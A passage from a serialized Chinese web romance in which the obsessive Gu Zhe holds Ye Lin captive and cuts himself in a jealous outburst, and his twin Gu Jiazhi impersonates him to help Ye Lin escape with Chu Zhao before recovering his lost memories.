楚诏已经在入侵那栋别墅的监控系统,但是防御性太强,需要很长的时间,只好放弃:“我现在去破坏顾柘的生意,他明天会忙着处理,你去别墅把叶临救出来。” 顾嘉致心中了然,他跟顾柘长得一模一样。明天换上相同的衣服,扮演顾柘就能骗过那栋别墅的安保系统,进去把叶临带走。 楚诏滑动屏幕,瞳孔骤缩,急道:“动作要快,我查到顾柘已经开始把资产转移到外国,他是打算再也不回来了。” 顾嘉致差点没反应过来,顾柘居然为了叶临,连家都不想回来,这人真是疯了。 与此同时,车已经行驶在山路,很快就要到达山顶的别墅。 叶临被蒙住双眼,倒在顾柘的怀里,大声谩骂。 顾柘埋头去咬他的耳垂,怨恨道:“刚刚为什么说不愿意跟我结婚,你又撒谎?” 叶临啐道:“我艹!顾柘,我心里想什么,你自己清楚。我什么时候爱过你,不想结婚很正常!倒是你,神经兮兮地把我带过去,被爸妈骂了一顿,纯搞笑!” 顾柘咬牙,沉默片刻,咬牙骂道:“哦,你喜欢顾嘉致,看到他就找不着北了!” 叶临被他吼得耳鸣,也拔高音量:“我没有!我只是陈述事实。我不喜欢你,你爸妈也不同意跟我结婚。那你就放弃啊,非要坚持这种没意义的事做什么!” 顾柘的眼眶慢慢变红。 刚刚在顾家他骄傲自信,如一只羽毛鲜艳亮丽的孔雀,可以在普通自卑,麻雀般的顾嘉致面耀武扬威。 现在到了叶临面前,他又是个落水狗,枯瘦无力,在雨水里艰难爬行,即将冻死。 车子停下来,有保镖开门。 顾柘忍住强行哭意,把叶临拽起来,朝着别墅里走去。 全程没有任何声音,只有急躁的动作。 叶临听见几个门响,就被摔在柔软的床垫上,手铐和眼罩都没能取下来。 这种事情太熟悉了,肯定又是漫长的折磨。 绝对不能让顾柘发疯,否则他要疼上好几天。 “艹!顾柘,你不能乱来,你这样我会死的!” “死了才好,这样就不会说出伤人的话了。” 顾柘掐住他的脖子,微微用力。 叶临开始咳嗽,连忙去拍顾柘的手腕。 他的眼前是浓墨一样的黑,其实远不至于死,但他就是怕,恐惧促使他连忙求饶。 “老,老公,别用力,我会死的。” “这个时候又知道求饶了。” 顾柘松开手,把叶临抱在怀里亲,摘下眼罩,低声呢喃。 “我怎么舍得杀你” “咳咳咳。” 叶临咳得脸颊泛红,像是溺水后救上岸。 “今天我说的,都是真心话。我希望顾嘉致没有存在过,是我遇到你,跟你纠缠这么久。” “你什么意思,要去杀了顾嘉致吗?” “可以的话,你就会只在意我了吧。” 顾柘嫉妒顾嘉致,哪怕叶临不承认对顾嘉致的爱,但顾嘉致在叶临心里就是有特殊的地位。 而他努力这么久,叶临不喜欢他,甚至痛恨,抗拒他,真是不公平! 如果从始至终,世界上只有他一个人,没有这个多余的双胞胎弟弟,那他是不是就能同时拥有两段叶临的经历。 叶临听到他的话,吓得毛骨悚然,真怕这个反派对亲弟动手,劝道:“我不在意顾嘉致,只是好兄弟而已。要真说喜欢,我喜欢沈邵都比他多,你别在针对他了好吗?” 顾柘听完他的话,心都死了。 下意识地维护,为了顾嘉致撒谎,怎么不算在意呢。 不过算了,反正马上就要离开这个地方,重新开始,都不重要。 顾柘不再提这件事,放开叶临,去书房忙着处理移民的事情。 他要去异国他乡,所有人都找不到的地方。 到时候,在语言不通的环境里,叶临只能依靠他。 什么沈邵,顾嘉致,楚诏,都去见鬼,再也别想来打扰他和叶临的幸福生活! 风吹动树林,发出沙沙的声响,逐渐强烈,是雷阵雨要来了。 叶临看向窗外的树林,躺下来思考应对的办法。 他希望顾嘉致能听懂自己的暗示,同时又得想办法劝顾柘,再带自己出去一次。 或许是早上坐车颠簸劳累,他慢慢地睡过去。 狂风呼啸,几乎要将整片森林掀地而起,云层厚重漆黑,闪电不断。 猛然一道惊雷,将叶临吓醒。 他揉了揉眼,借着些许微光看到有个熟悉的男人朝他走过来。 男人穿着宽松的衣服,身上散发着热意,没说话,很像某个人。 叶临下意识地唤了一声:“顾嘉致,你来了?” 话音刚落,男人就站在原地不动了。 叶临忙打开灯去看,原来是脸色阴沉的顾柘。 他还以为顾嘉致听懂自己的暗示,找过来了呢,白高兴一场。 顾柘重复他的话:“顾嘉致,为什么会认为是顾嘉致?” 叶临怕他发现自己的小心思,无奈地摆手:“很正常啊,你跟顾嘉致长得像,而且他也康复回来了,我当然会认错。” 顾柘像是鬼一样,忽然就到了跟前,抓着他的下巴质问:“你看清楚,我不是他那种可怜虫,我们之间有区别!” 叶临烦躁地扭头,躲开他的手:“双胞胎长得一样,刚刚还没开灯,是个人都能认错,有必要发火吗!” 已经半年了。 半年之久,居然还能认错? 是白天见到顾嘉致,回来就一直想,才会认错吧。 那以后去到国外,叶临会不会盯着他想顾嘉致? 接下来漫长的几十年的婚姻里,叶临会不会觉得自己跟顾嘉致结了婚? 为什么,叶临总是认错! 任何人只要见过他和顾嘉致,就会分清楚,偏偏叶临就不同,多次认错,怎么纠正都不行。 是故意的吧,叶临心里念着顾嘉致,被迫跟他结婚,偶尔就会把他当成顾嘉致,以此疗愈自己。 万千思绪像是无形的毒刺藤蔓,将顾柘缠紧,深入骨髓,注入毒素,皮肤变得乌紫,很快就变成一具骷髅。 惊雷响过,闪电照亮匕首,发出森然的银光。 叶临注意到顾柘手里拿着刀,吓得瑟瑟发抖,连忙抬手去挡:“你,你别乱来啊,我不想死!” 出人意料的是,顾柘用匕首划过自己的胳膊,留下十几厘米的血痕,再看向他:“这样,还像顾嘉致吗?” 血顺着胳膊流下来,染红衣服,像是有毒的赤练,令人生畏。 叶临愣住,面对疯子,大气都不敢喘。 顾柘在眉尾划了一刀:“这样呢?” 叶临不断地往后缩,想躲到角落里,像个受惊的蜗牛要回到壳里:“你,你别发疯了好吗?” 顾柘的眼睛赤红,是夜里发狂的野兽,怒吼:“我问你,这样还像顾嘉致吗!” 说完,他就将刀放在脖子的位置,准备往下划。 叶临真怕他死了,连忙附和:“不像了不像了,别割脖子啊!” 眉尾的伤口不长,但很深,血不断的流出来,染红了半张脸,被闪电一照,像是戾气十足的恶鬼,要来索命。 叶临冒了一身冷汗,有瞬间都分不清面前的是人是鬼。 顾柘嗤笑一声,眼泪随之掉落,血液晕染开来,更为骇人:“不像了那你以后还会认错吗?” 叶临都想给他跪下了,连忙摇头:“我绝对不会认错了,你是顾柘,顾柘,顾柘!” 顾柘握紧匕首,还是没有松开,就这样静静地看着叶临。眼泪不断地掉落,一颗又一颗,血也流得越来越多,染红衣服和被单。 叶临怕他失血过多死了,自己还要被判刑,连忙扑过去夺过匕首,扔到地上。 顾柘顺势靠住他的肩膀,啜泣不成声,抓着叶临的手,几乎是在哀求:“能不能喜欢我,有一点喜欢也好” 叶临无法理解顾柘的脑回路,怎么非要缠着他不放呢。 真是窝火,想骂又怕他寻短见,想打又怕他死了,只能忍着。 顾柘哽咽起来:“求你了,给我一点爱,就顾嘉致的一成也好。” 他哀求着,像是病入膏肓,在求医生给点救命的药。 再不给,就要死了…… 第67章 第67章顾嘉致来救他了 倘若那天夜里,他没有扮成顾嘉致的模样进入公寓,应该就不会被叶临当成替身吧。 因为他扮得太像了,叶临总分不出他和顾嘉致。 后悔的情绪异常强烈,像是大火吞噬皮肤,持续性地刺痛,紧接着视线不清,摇摇欲坠。 顾柘的意识越来越模糊,只能靠着叶临的体温来判断自己还醒着。 叶临发现顾柘的血还在持续性地流,手上黏糊糊的,冲门外喊:“你们老板要出事了,快点开门进来救命。” 可惜门外的保镖听不懂他的话。 顾柘咳嗽两声,抬起满是鲜血的手去摸叶临的脸颊,微微勾起唇角:“你担心我” 叶临面对疯子好想大喊救命,可是又怕疯子情绪失常,只能放缓语气:“你流血太多了,再不处理会休克的,快点叫外面的保镖进来。” 顾柘置若罔闻,沉浸在被关心爱护的幸福氛围里,眼神涣散,喃喃道:“你要爱我” 是要求的语气,但不强硬,近似于临死前的祈愿。 可惜叶临听不懂他的需求,只会在心里吐槽:这些富二代还是日子过太好了,一天天的吃饱了没事干,爱什么爱,变穷吃苦就老实了,尽是谈些抽象的东西! 叶临看着顾柘身上的血越流越多,既想骂脏话,又想推开这个晦气的玩意儿。 结果没多久,顾柘就昏过去,所有力气都被抽干,像是尸体。高能量的火山爆发后,就会失去活力,徒留一片废墟。 “艹,不会死了吧!” 叶临伸出手指去探鼻息,确认还有呼吸,这才安心。 可一直让顾柘流血,也不是个办法。 他憎恶顾柘,一直想报复,但应该是堂堂正正地对决,而不是趁人之危。 见死不救违背良心,真做不到眼睁睁地看活人死去。 叶临轻轻地把顾柘放下,疯狂拍门。 十几分钟过后,门还紧锁着,没有打开。 叶临只好在房间里找,看看有没有止血绷带之类的东西。 找好久都没有,就把毛巾拆下来,缠紧止血。 做完这些,叶临在旁边躺下来,指着顾柘的脸骂了几百句。 遇到顾柘真是倒八辈子血霉了,打都不敢打,骂又不敢骂,就怕他急了做出危险的举动。 无论是顾柘自我了断,还是杀他,都很可怕。 叶临骂完,长叹一口气,悔不当初:早知道,当初在生日宴会上,应该仔细辨认,那样就不会扑上去亲顾柘。 没有那个吻,他们的孽缘就不会开始。 叶临把说放在顾柘的嘴唇上,还能够感觉到呼吸,尚且活着。 顾柘毕竟是个大反派,生命应该像蟑螂一样顽强,不会轻易死亡。 叶临自我劝慰一番,安心地进入睡眠。 他做了整宿的噩梦,循环反复,都是同样的桥段。 顾柘问他为什么不喜欢自己,无论他回答什么,都会把刀捅进胸膛,倒在血泊中。 每当叶临被吓醒,又看到顾柘在质问他,再次捅胸膛。 这样重复了很多次,叶临睁开眼,浑身都是冷汗,还以为在梦里。 偏头没有看到顾柘的人影,而是窗外的绿树林,终于缓过神。 艹,顾柘在现实里吓他就算了,还要跑到梦里搅得不安生。 叶临坐起来,检查房间四周,发现沾染血迹的床单被套,桌子都换了。 昨天的一切,像是没有发生过。 只有不远处被闪电劈倒的树,提醒他昨天顾柘发了什么疯。 希望不会有下一次了,真的遭不住。 哪个正常人会像顾柘一样,为了爱情要死要活,还动用下三滥的手段? 突然觉得,梁文乐只是哭哭啼啼地打人,已经很好了。 叶临忍不住想:要是当初答应跟梁文乐结婚,或许就不会跟顾柘纠缠。 “艹!也是离谱,居然觉得梁文乐是正常人!” 叶临有种凤凰陨落山谷,只能吃点陈芝麻烂谷子的苦命感。 最初他以为梁文乐矫情做作,脾气暴躁,已经很恶劣了,没想到后面更是有个重量级的顾柘。 对了,楚诏也是个蠢猪,扶不上墙的烂泥,烦死! 叶临把这三个男人都骂了一遍,听到开门声抬头去看。 是一个黑皮肤的女佣端着食物走进来,恭敬地摆好食物,全程没有说一句话。 叶临叫了她好几声都没得到回应,后悔自己初中没好好学外语。 学个打招呼的用语也好啊,可是他连26个字母都认不全。 怪不得,初中老师总说他会后悔。 他确实后悔了。 女佣的动作很快,迅速退出去,而门口还增加了一倍的保镖。 看来顾柘没死,应该是去忙事情,暂时不会回来,怕他逃跑,才增加保镖。 叶临先吃饭,再思考怎么逃出去。 思来想去,还是得靠女佣。 他打算在女佣送晚饭的时候,躺在地上翻来覆去地打滚装难受,这个时候保镖们就会把他带走。 为了确保万无一失,他还在床上滚了几圈,当作是演习。 然而,暮色四合,枝叶投下细密的阴影。 送饭进门的却不是女佣,而是顾柘本人。 他的额角,手臂都被纱布包着,穿着黑色西装,像是刚下班不久。 叶临叹了一口气,走过去吃饭,还默默地打量着顾柘。 顾柘在他旁边坐下来,坐姿略显拘谨。 叶临吓得往旁边挪动,挥手去挡:“你别乱来哈,我饿死了,要吃饭。” 顾柘神情焦急,继续朝着他靠近,凑到耳边小声说道:“我是来救你的,快配合我。” 叶临顿悟,抬手去摸着脸颊,小声问:“你是顾嘉致,对不对?” 这人果然经验丰富,不三不四的,上来就摸脸。 顾嘉致的脸颊微微泛红,连忙推开叶临的手,摘下纱布,额角光滑无痕:“对,顾柘这蠢货也不知道怎么了,脸上突然有疤,害得我也只能戴这个玩意儿。” 叶临总算看到了救星,激动地扑过去抱住顾嘉致:“我就知道你会来救我,太好了。” 就,就这样抱上来了? 顾嘉致被他抱住,心情怪异,主动推开他:“平时顾柘怎么带你离开这个房间的,快跟我说说。” 叶临翻出黑色眼罩戴上,又把手铐递给顾嘉致:“你把我拷住,然后抱着我下楼。” 他的脸本来就小,戴上眼罩后更显精致,细小皓白的手腕被拷住,嘴唇嫣红,多了股诱惑的意味。 靠!果然很好看,怪不得勾了这么多男人。 顾嘉致帮叶临拷住双手的时候,耳尖泛红,低声嘟囔:“顾柘怎,怎么还跟你玩这种,真恶趣味。” 叶临主动搭上他的脖子,催促道:“废话少说,快点抱我走。” 太熟练了吧! 顾嘉致紧张兮兮的:“公,公主抱啊?” 叶临靠着他的肩膀:“对啊,你哥喜欢,喜欢得要命,天天都想跟我结婚,待会儿你得表现得亲密点。” 顾嘉致没恢复完记忆,在他的认知里,自己还是个纯情男大学生,手都没牵过,更别说抱男人了。 而且,这个男人还是他名义上的嫂子,总感觉不太好意思。 可是,他来都来了。 顾嘉致把叶临抱起来,学着顾柘冷酷的模样,打开门往外走。 保镖们看到他的举动,出声询问。 顾嘉致用外文回应,说话语气冷淡,字数很少,就跟顾柘说话一模一样了。 叶临听着他的标准发音,忽然有点想笑,但还是憋着。 顾嘉致抱着叶临下楼梯,面上没有表情,内心紧张慌乱,像是抱着块炭,炙热烫手。 踏出这个别墅,他以后就是偷了嫂子的弟弟了。 这个名声很难听,但顾柘应该会气死,也值得吧。 谁让顾柘在他面前得瑟,现在就把他在意的人偷走,肯定会暴跳如雷。 顾嘉致这样想着,抱着叶临进入预先准备好的车里。 车是跟顾柘相同的型号,顾嘉致坐进去就帮叶临解开手铐,利落地启动车,朝着山下开去。 叶临摘下眼罩,看着身后的别墅远去,就像是逃离了噩梦。 他扭头看旁边的顾嘉致,忍不住笑起来:“想不到,你居然会说外语,还说的很好。” 顾嘉致微微皱眉:“啧,你什么意思,我看着不像会说外语的人吗?” 叶临跟顾嘉致的关系好,潜意识里就把顾嘉致划到学渣那一栏:“感觉你看起来没有顾柘聪明,学习成绩烂,外语应该不及格。” 顾嘉致快气死了,好心好意跑过来救叶临,还被拉踩:“嗯嗯嗯,顾柘比我聪明,那你还跑什么,乖乖回去跟他结婚好了。” 叶临无奈地笑起来:“开个玩笑嘛,你怎么回事,病好后脾气好烂,玩笑都开不起来。” 顾嘉致呵呵两声:“我们以前的关系很好吗,可以开玩笑?” 叶临拍了拍扶手,心情激动:“那当然好了,我们的关系比你和梁文乐还要好呢!” 他开始细数自己跟顾嘉致的经历,从他们第一次见面,到后面开公司。 不过主观地去除了他们几次不愉快的吵架,以及他认错顾柘和顾嘉致的细节。 在叶临滔滔不绝的话语里,是顾嘉致收留他,还给他钱还债。 后面他们还一起打游戏,默契度十足,上分很快,都拿了国标。 他们会嘲笑梁文乐,骂顾柘,说各种知心话,俨然是一对感情很好的损友。 至于更加亲密的事情,不好在车上说出来。 顾嘉致听完他的话,莫名有种失落感,情不自禁地问:“那听你这样说,我们就只是好朋友。” 叶临点点头,语气笃定:“对,我们是最好的朋友。” “我们既然是好朋友,你怎么跟我最讨厌的顾柘搅和在一起?” “哎呀,这个说来话长。你知道的,成年人总是有很多迫不得已。但我现在想通了,我要远离顾柘这个癫公。” 顾嘉致没了聊天的兴趣,总感觉自己跋山涉水,没有找到想象中的美景,失望至极。 车驶入市区后,转到一处老旧的居民区里。 这里林木繁茂,人烟稀少,路面都有开裂。 叶临下车后,就看到旁边站着楚诏,以及一辆十多万的便宜车。 顾嘉致冲着楚诏挥手:“人,我已经给你送到了,就这样。” 楚诏点点头,看向叶临:“我带你离开这个城市,先去别的地方躲躲。” 叶临难以置信地看向顾嘉致,怒火中烧,大声质问:“顾嘉致,你什么意思啊,把我丢给别人,自己跑了?” 顾嘉致无奈地耸肩:“不然呢,我还要带着自己的嫂子私奔吗,说出去多难听。楚诏看着很喜欢你,就跟他走吧。” 叶临嫌弃地瞥了楚诏:“我才不跟楚诏走,他蠢死了,我就是被他害的。” 楚诏面露愧色,急忙走上去想抓住叶临的手,却被挣开,只好道歉:“对不起,我那次太冲动了。我已经反思过了,这次肯定会保护好你。” 叶临用力戳戳楚诏的胸膛,跟他算账:“当时我就劝你小心点,非不听,结果被顾柘打断手,还是我救你。你知道,这几天过的什么日子吗!” 楚诏连声道歉,头垂得很低。 顾嘉致没兴趣听小情侣吵架,回到车里,关上车门就想走。 结果叶临大喊一声:“顾嘉致,你给我站住!” 顾嘉致听到他这个声音,下意识地没启动车,像是养成了肌肉记忆。 紧接着就看到叶临打开车门,坐在副驾驶座,理直气壮地下命令:“我不管,你带我走,我才不跟楚诏离开!” 顾嘉致看着他这副蛮横无理的模样,俨然已经把自己当成男朋友,再一次问:“不是,我们什么关系啊,要我带你走?” 叶临猛地踹了车:“好朋友啊,你以前最听我的话了。现在不听,以后恢复记忆会后悔的。” 顾嘉致念着“好朋友”,忍不住发笑,无奈地摆手:“我可不觉得,你还是去找楚诏吧,他看着是你的舔。狗,比我听话。” 叶临听到他的话,既生气又委屈,扭过头指着顾嘉致的眉心骂:“顾嘉致,你敢这样对我,信不信我跟你绝交!” 顾嘉致从他眼神中感觉到怨气,莫名觉得自己像个不负责任的渣男,忍不住又问:“请问,我们谈过吗?” 叶临斩钉截铁地回答:“没有。” 顾嘉致翻了个白眼,以示无语。 楚诏跑过来,语重心长地劝叶临:“叶临,坐这种豪车离开太显眼了,还是坐我的车走吧。 顾柘今天就能处理完麻烦,等他发现你不见了,肯定会发疯,还是早点离开比较好。” 叶临想到顾柘发疯的模样,脊背一凉:“那我就得一直躲嘛,有什么办法收拾顾柘?” 楚诏想到沈邵的叮嘱,劝慰他:“有的,你先躲一段时间,我会想办法劝顾柘的爸妈,收回他的钱,逼他回家。” 叶临:“可是顾柘又不像顾嘉致,全靠家里养,他有自己的事业,还是有钱有人脉的。” 顾嘉致猛地拍了方向盘:“靠!你提顾柘,骂我做什么!” 叶临就是故意气他,没有回话,得意地扬起头。 楚诏忽然觉得自己就是个多余的电灯泡,但还是要解释:“我知道顾柘的事业,可以干扰他,到时候他就无暇管你了。对了,还有梵星,你不用担心,有人会处理好。” 他刻意隐去沈邵的名字,叶临也能明白。 顾嘉致想到楚诏的技术,由衷地夸赞:“楚诏确实是个厉害的黑客,你对付顾柘的时候叫我,我也不想让他好过。” 叶临有种熟悉的感觉,像是回到最初跟沈邵,顾嘉致三个人创业的时候,顾嘉致拿沈邵当兄弟,今天也欣赏楚诏的能力。 楚诏还以为自己和顾嘉致之间会剑拔弩张,没想到对方是个性情中人,点点头回应:“也不是厉害的本事,能帮上叶临就好。” 顾嘉致挥挥手:“你太谦虚了。” 眼看着这两人就要称兄道弟,感情升温。 叶临起身按住楚诏的肩膀,看向旁边的车:“那我跟你走吧,快点。” 楚诏领着他进入车子里,还给他一套伪装的衣服和帽子,启动车朝着外地开去。 顾嘉致跟在他们车后面,出了小区就朝着相反的方向行驶,化作黑点消失。 叶临扭头去看后面,生气的同时又感到失落。 虽然顾嘉致回来了,但跟他之间还是有嫌隙,不似从前。 楚诏注意到他的情绪消沉,犹豫好一会儿,忍着疼询问:“你很喜欢顾嘉致吧,所以他不愿意带你走,才会生气。” 叶临的音量陡然拔高:“我不是喜欢他,是好朋友懂吗!你们这些人脑子里怎么就只有爱情,整天就知道爱和不爱! 这个世界上有种感情叫做友谊,是可以超过爱情和亲情的!” 他从小就没有得到亲情,也不稀罕爱情,格外珍重友情。 在他最孤独的少年时期,是一堆好朋友陪着他玩,才能熬过去。 所以到了这个新世界,才会非常珍惜顾嘉致这个好朋友。 楚诏难以理解叶临的心情,但他确实吃顾嘉致的醋,微微握紧方向盘:“那顾嘉致对于你来说,很重要喽?” 叶临应了一声“是”,烦躁地抓扶手,又看向窗外的后视镜。 楚诏轻声感慨:“真羡慕他啊。” 叶临没看到顾嘉致的车追上来,心里不满:“要是你一开始老老实实签了梵星,我们也能成为好朋友的。” 楚诏想到最初在咖啡厅相遇,还觉得叶临是个长得好看的小流氓,无赖难缠。 那时嫌弃叶临,谁知道现在求而不得,备受煎熬。 第68章 第68章他全都想起来了 顾柘这几天为了移民做准备,疯狂转移资产,半路却遇到很多困难,像是有人故意截胡。 他派人去调查,发现不止是一个人在阻拦他,而是很多人,像是某个小群体。 这个群体在网上会隐藏身份,短时间内很难确认是谁。 顾柘感觉事情不太妙,立即打电话通知别墅的保镖,让他们查看叶临的存在。 保镖告诉他,叶临在下午就被他带走了。 顾柘立即调出监控来看,他发现画面里是装成自己的顾嘉致和叶临。 他们坐在餐桌前打情骂俏,笑得东倒西歪。 紧接着叶临就主动伸出手让顾嘉致拷上,乖巧地靠进他的胸膛里,俨然是小鸟依人的姿态。 叶临在他面前从不这样,都是虚情假意,恶语相向。 顾柘的手指停留在监控画面,来来回回地拉进度条,反复观看两个人相处的细节,像是亲自走进刀山,脚底不断地渗血,还坚持攀登,直到千疮百孔,再无完样。 开车回家的途中,并不顺利。 明明不是上下班时间,却堵得水泄不通,到处都在按喇叭,吵得耳朵疼。 顾嘉致烦躁地拍方向盘,看向窗外纹丝不动的长队,莫名想骂人。 脑子里又冒出叶临骂他的话,语气不重,更多是调侃。 真的只是好朋友吗? 顾嘉致刚刚听到叶临说“好朋友”,心就像是空了,失落遗憾,不想多说一句话。 现在回想起来,像是吃了中药,苦到反胃,咽口水都想吐。 真奇怪? 顾嘉致疑惑片刻,发现前面的车正常行进,赶紧跟上去。 没一会儿,就回到大学附近的公寓。 这里已经很久没住人,来之前就请人去打扫,订购了新的家具。 进去后看到新买的蓝色沙发,总感觉不对劲,记忆里应该是白色的,还有个八边形的透明茶几。 好像沙发上应该还有两个模糊的人影,一个坐着,另外一个枕着腿躺下,两个人手里都有游戏机。 茶几上应该摆满了各种汽水,电视屏幕里会播放变形金刚之类的科幻打斗片。 顾嘉致慢慢地朝着沙发走过去,坐下来打开电视机。 其实电视机也不是记忆里的模样,不过刚好在播大型机器人在海面上打斗,场面壮观。 顾嘉致隐约感觉到,腿上应该压着个脑袋,比猫要重太多了,头发柔顺,还有可爱的左偏发旋。 他会低头去亲吻,然后笑起来调侃:“怎么这关都过不去啊,好笨。” 对方就会生气地拍他的脸:“你才笨,你全家都笨,我是最聪明的,马上就过了!” 他*也不会生气,还故意去触碰屏幕,使坏不让对方赢。 是,是谁呢 顾嘉致的呼吸逐渐急促,大脑闪过无数画面,但都是模糊的,心中的空虚感更强烈了,像是要将他吞噬。 门传来响声,还没等他起身,就被打开。 只见包着纱布的顾柘大步朝他走过来,还没出声,就给了他的左脸一拳。 这个力道太大了,像是大风掀起树干。 顾嘉致朝着旁边倒去,头撞到沙发扶手,嘴角都擦出血。 顾柘揪住他的衣领提起来:“叶临在哪里?” 顾嘉致的头很疼,像是快要裂开,皱着眉骂道:“我怎么知道!” 顾柘见他还想装,松开手,急匆匆地跑去检查卧室,想找出叶临的身影。 卧室里全是顾嘉致和叶临的回忆,散乱的衣服,成堆的模型。 顾柘看着这些,快要窒息。 忽然脑后就传来剧烈的疼痛,立即回身去防御, 原来是顾嘉致趁着他不备,从身后攻击,想要报复他。 顾柘跟他过了两拳,继续追问叶临的下落:“你知不知道,我就要跟叶临结婚了,他现在是你的嫂子!” 顾嘉致朝着他的脸颊给了一拳,嗤笑道:“你没本事获得嫂子的喜欢,他自己想跑了,跑来找我撒气做什么,好笑!” 顾柘半边脸青紫,躬身去顶顾嘉致,直至撞倒柜子,再给了一拳。 力道太大了,柜子开始摇晃,抖落一些模型。 顾嘉致的后脑撞到,大脑空白,几乎要昏过去。 顾柘看见亲弟的眼神,知道这家伙没恢复记忆,应该是楚诏把叶临带走了。 他不想在这里浪费时间,立即离开,联系专业人士查楚诏的信息,定位叶临的下落。另外还派人去医院守着沈邵,不让沈邵轻举妄动。 卧室里安静下来,柜子也停止摇晃。 顾嘉致倒下来,靠着柜子大口喘息。 很奇怪,头居然不疼了,变得越来越轻,像是要飘起来。 顾嘉致怀疑自己快死了,居然感知不到四肢的存在,脑海里还还不断地冒出从未见过的画面。 可是,这些画面居然是清晰的,每一张都是他和叶临的相处日常。 枕着他打游戏的是叶临,跟他嬉戏打闹的是叶临,被他抱起来放在洗手台上亲的也是叶临。 脸颊通红的叶临,扑进他怀里索取,头顶长着弯角,身后还有长长的桃心形的尾巴在乱晃。 “嘉,嘉致,江湖救急,我好难受,你快回来亲我一下。” “我不仅要摸你的角,还玩你的尾巴。” 面对12亿的诱惑,毫不动摇的叶临。 “哪怕你现在用百亿,千亿来换,我都不会放弃顾嘉致。” 劝他早点休息,怕他猝死的叶临。 那天,他不睡觉,坐经济舱想回来见叶临一面,结果看到叶临和顾柘在沙发上 头又变沉,意识逐渐回笼。 他全都想起来了。 顾嘉致抖着肩膀笑起来,嘲讽自己可悲愚蠢,自作多情,总在失去的人生。 那天,他满怀期待地回到这个公寓,看到顾柘和叶临,先是愤怒,紧接着就是无尽的绝望。 叶临分不清他和顾柘就算了,在他失忆期间,还要跟顾柘纠缠不休。 难道叶临不知道,他这辈子最恨顾柘吗? 为什么偏偏是顾柘,不仅谈恋爱,还要闹到顾家要结婚? 叶临口口声声说他们的关系最好,帮他骂顾柘,嫌弃顾柘。 结果他失忆期间又让顾柘插手梵星,还跟顾柘谈恋爱。 就连蠢货梁文乐都知道,跟他做朋友,必须站在顾柘的敌对面,而叶临却做不到。 小时候得不到亲情,长大了又被友谊和爱情双重背刺,精神逼近崩溃。 顾嘉致被抽空了所有力气,泪水无声滑过脸颊,像是从心底最深处涌出的血。 不知道过了多久,他又忍不住心软。 在叶临跟梁文乐谈恋爱的时候,他就纵容叶临多次失约,现在也想替叶临找借口。 是被迫的吧。 叶临总是身不由己,而顾柘是个工于心计的混蛋,当然斗不过。 就算再膈应,都难以因此去恨叶临,还是会怪别人。 是顾柘卑鄙,是沈邵阴毒,是楚诏下贱。 他要去找叶临说清楚。 顾嘉致扶着柜子站起来,踉踉跄跄地跑出门,拿出手机联系楚诏。 他只要想到这几天,自己居然称呼叶临为嫂子,刚刚还亲手把叶临送到情敌楚诏手里,就后悔。 电话接通后,有一段杂音,像是在某个嘈杂的集市。 顾嘉致学着自己失忆的模样,故作轻松地提醒:“顾柘发现是你带走叶临了,你最好小心点。” 楚诏正在采买东西,他们要躲很长一段时间,需要很多物资,只是“嗯”了一声。 顾嘉致又提议:“刚刚我看到顾柘失魂落魄的模样,真搞笑,还蛮想帮你的。你们在哪里,我可以过去帮你守着叶临,你去转移顾柘的注意力。” 楚诏想到他和叶临的过去,心里有了危机感,还是拒绝:“不了,而且叶临不想见到你。” 说完他就挂断电话,看向旁边在挑肉的叶临,没有提到顾嘉致。 叶临看着肉摊上的肥肉白如雪,啧啧赞叹:“这肉新鲜,炒出来肯定很好吃。” 楚诏让老板全包起来:“多买点,这次估计要躲十几天,甚至大半个月。” 叶临听到这个话,立即跑去其他的摊子,把爱吃的全买了。 十几万的便宜车,坐着不舒服,但是储物空间足够大,可以装一个多月的物资。 采购完物资后,车就驶入人烟稀少的小道,朝着小镇开去。 楚诏不舍得叶临吃苦,开去小镇的路上,纠结犹豫好一会儿,还是把即将遇到的困难说清楚。 他告诉叶临,小镇的生存条件比不上城市,可能会很苦,但只需要熬十天,就能解决掉顾柘。 在他心里,叶临就像是一朵养在温室里的娇花,风大会折,水多会淹,日照少会死。 必须精心呵护,才能健康成长。 叶临却不以为然,指着不远处的山头说道:“你开进山里好了,更安全。小镇的人群密集,还是有可能会被发现。我就不信了,顾柘能找到偏僻的乡下。” 楚诏忧心道:“我怕你住不习惯,毕竟你刚刚嫌弃这辆车。” 叶临点点头:“我确实嫌弃你这辆破车,但是非常时期嘛,可以理解。有什么住不习惯的,我吃的苦可比你多多了。” 楚诏没再说话,他知道叶临的身世,应该过得不好。 车停在一栋农村自建房门前,四周大都是田野,以及相同款式的自建房。 不过其余的自建房大都是五六层的,表面还贴瓷砖,做各种造型,或是欧式,或是美式,总之花样很多。 至于叶临他们的这一栋,就两层,外面还是原始的红砖,看起来很寒酸。 一楼地面没贴瓷砖,是原始的水泥地,还坑坑洼洼的,另外有四个大冰柜装东西。 厨房里有灶台,以及基本的厨房用具。 楚诏忙着搬东西进来,来来回回好几趟。 叶临环顾四周,心生感慨,好久没住在这种地方了,跑到二楼去看。 二楼有三个卧室,只有主卧地面贴了瓷砖,还有小型的淋浴室。 主卧里还没换上床上四件套,只有原始的床垫和枕头。 正对面有个半圆形阳台,推开门可以看到棋盘格的水田,翠绿远山。 居住条件还可以,就是缺了电脑。 叶临跑到一楼,发现楚诏还在卸货。 楚诏穿着白色的字母图案长袖和黑色裤子,像个忠实诚恳的水泥工,干活麻利,也不多话。 没一会儿,身上就出了汗,也没时间擦。 叶临找到毛巾,递给他。 楚诏摇摇头拒绝:“待会儿吧,得快点搬完,我还得开车去村头跟村长打个招呼。” 叶临叫住他,垫起脚用毛巾去擦脸颊上的汗水,抱怨道:“急什么急,顾柘肯定没这么快找到我们。我觉得,他应该先去为难顾嘉致,才会想到你。” 楚诏扛着箱沉重的饮料,肩膀被压得往下,站在门口很不好受。可是毛巾接触脸颊的瞬间,疲惫全都消失,如在云端。 叶临抬手的时候,衣服下摆会缩短,露出一截新月似的腰,纤细白皙,很想握住。 楚诏口干舌燥,尝试要求:“我,有点渴。” 叶临将毛巾随手扔在旁边的凳子,走进厨房去找水,嘴里还要骂:“麻烦!” 楚诏放下饮料箱,拿起毛巾来闻,先是蹭着鼻子,后面直接将整张脸埋进去,尝试还原叶临帮忙擦汗的情景,倍感满足。 听到叶临走出厨房的脚步声,又赶紧把毛巾放下。 叶临拧开矿泉水瓶子,递给他喝,又看向车后面的货物。 确实还有不少,也不能全让楚诏搬了。 叶临走过去,刚想搬起箱子,就被楚诏叫住。 楚诏跑出来,按住他的手:“我来搬就好了,这些很重。” 叶临不服气地:“你看不起谁呢,我从小就搬这些,轻轻松松好吧。” 